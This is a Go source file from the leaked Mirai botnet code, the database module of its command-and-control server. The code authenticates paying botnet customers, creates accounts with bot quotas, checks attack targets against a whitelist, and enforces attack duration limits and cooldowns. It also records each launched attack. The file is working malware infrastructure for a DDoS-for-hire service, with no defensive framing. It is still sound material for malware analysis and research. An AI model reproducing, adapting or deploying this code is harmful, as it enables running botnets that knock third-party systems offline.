Mirai-Source-Code/mirai/cnc/database.go

146 lines
5.0 KiB
Go
Executable File

package main
import (
"database/sql"
"fmt"
"net"
"encoding/binary"
_ "github.com/go-sql-driver/mysql"
"time"
"errors"
)
type Database struct {
db *sql.DB
}
type AccountInfo struct {
username string
maxBots int
admin int
}
func NewDatabase(dbAddr string, dbUser string, dbPassword string, dbName string) *Database {
db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@tcp(%s)/%s", dbUser, dbPassword, dbAddr, dbName))
if err != nil {
fmt.Println(err)
}
fmt.Println("Mysql DB opened")
return &Database{db}
}
func (this *Database) TryLogin(username string, password string) (bool, AccountInfo) {
rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE username = ? AND password = ? AND (wrc = 0 OR (UNIX_TIMESTAMP() - last_paid < `intvl` * 24 * 60 * 60))", username, password)
if err != nil {
fmt.Println(err)
return false, AccountInfo{"", 0, 0}
}
defer rows.Close()
if !rows.Next() {
return false, AccountInfo{"", 0, 0}
}
var accInfo AccountInfo
rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)
return true, accInfo
}
func (this *Database) CreateUser(username string, password string, max_bots int, duration int, cooldown int) bool {
rows, err := this.db.Query("SELECT username FROM users WHERE username = ?", username)
if err != nil {
fmt.Println(err)
return false
}
if rows.Next() {
return false
}
this.db.Exec("INSERT INTO users (username, password, max_bots, admin, last_paid, cooldown, duration_limit) VALUES (?, ?, ?, 0, UNIX_TIMESTAMP(), ?, ?)", username, password, max_bots, cooldown, duration)
return true
}
func (this *Database) ContainsWhitelistedTargets(attack *Attack) bool {
rows, err := this.db.Query("SELECT prefix, netmask FROM whitelist")
if err != nil {
fmt.Println(err)
return false
}
defer rows.Close()
for rows.Next() {
var prefix string
var netmask uint8
rows.Scan(&prefix, &netmask)
// Parse prefix
ip := net.ParseIP(prefix)
ip = ip[12:]
iWhitelistPrefix := binary.BigEndian.Uint32(ip)
for aPNetworkOrder, aN := range attack.Targets {
rvBuf := make([]byte, 4)
binary.BigEndian.PutUint32(rvBuf, aPNetworkOrder)
iAttackPrefix := binary.BigEndian.Uint32(rvBuf)
if aN > netmask { // Whitelist is less specific than attack target
if netshift(iWhitelistPrefix, netmask) == netshift(iAttackPrefix, netmask) {
return true
}
} else if aN < netmask { // Attack target is less specific than whitelist
if (iAttackPrefix >> aN) == (iWhitelistPrefix >> aN) {
return true
}
} else { // Both target and whitelist have same prefix
if (iWhitelistPrefix == iAttackPrefix) {
return true
}
}
}
}
return false
}
func (this *Database) CanLaunchAttack(username string, duration uint32, fullCommand string, maxBots int, allowConcurrent int) (bool, error) {
rows, err := this.db.Query("SELECT id, duration_limit, cooldown FROM users WHERE username = ?", username)
defer rows.Close()
if err != nil {
fmt.Println(err)
}
var userId, durationLimit, cooldown uint32
if !rows.Next() {
return false, errors.New("Your access has been terminated")
}
rows.Scan(&userId, &durationLimit, &cooldown)
if durationLimit != 0 && duration > durationLimit {
return false, errors.New(fmt.Sprintf("You may not send attacks longer than %d seconds.", durationLimit))
}
rows.Close()
if allowConcurrent == 0 {
rows, err = this.db.Query("SELECT time_sent, duration FROM history WHERE user_id = ? AND (time_sent + duration + ?) > UNIX_TIMESTAMP()", userId, cooldown)
if err != nil {
fmt.Println(err)
}
if rows.Next() {
var timeSent, historyDuration uint32
rows.Scan(&timeSent, &historyDuration)
return false, errors.New(fmt.Sprintf("Please wait %d seconds before sending another attack", (timeSent + historyDuration + cooldown) - uint32(time.Now().Unix())))
}
}
this.db.Exec("INSERT INTO history (user_id, time_sent, duration, command, max_bots) VALUES (?, UNIX_TIMESTAMP(), ?, ?, ?)", userId, duration, fullCommand, maxBots)
return true, nil
}
func (this *Database) CheckApiCode(apikey string) (bool, AccountInfo) {
rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE api_key = ?", apikey)
if err != nil {
fmt.Println(err)
return false, AccountInfo{"", 0, 0}
}
defer rows.Close()
if !rows.Next() {
return false, AccountInfo{"", 0, 0}
}
var accInfo AccountInfo
rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)
return true, accInfo
}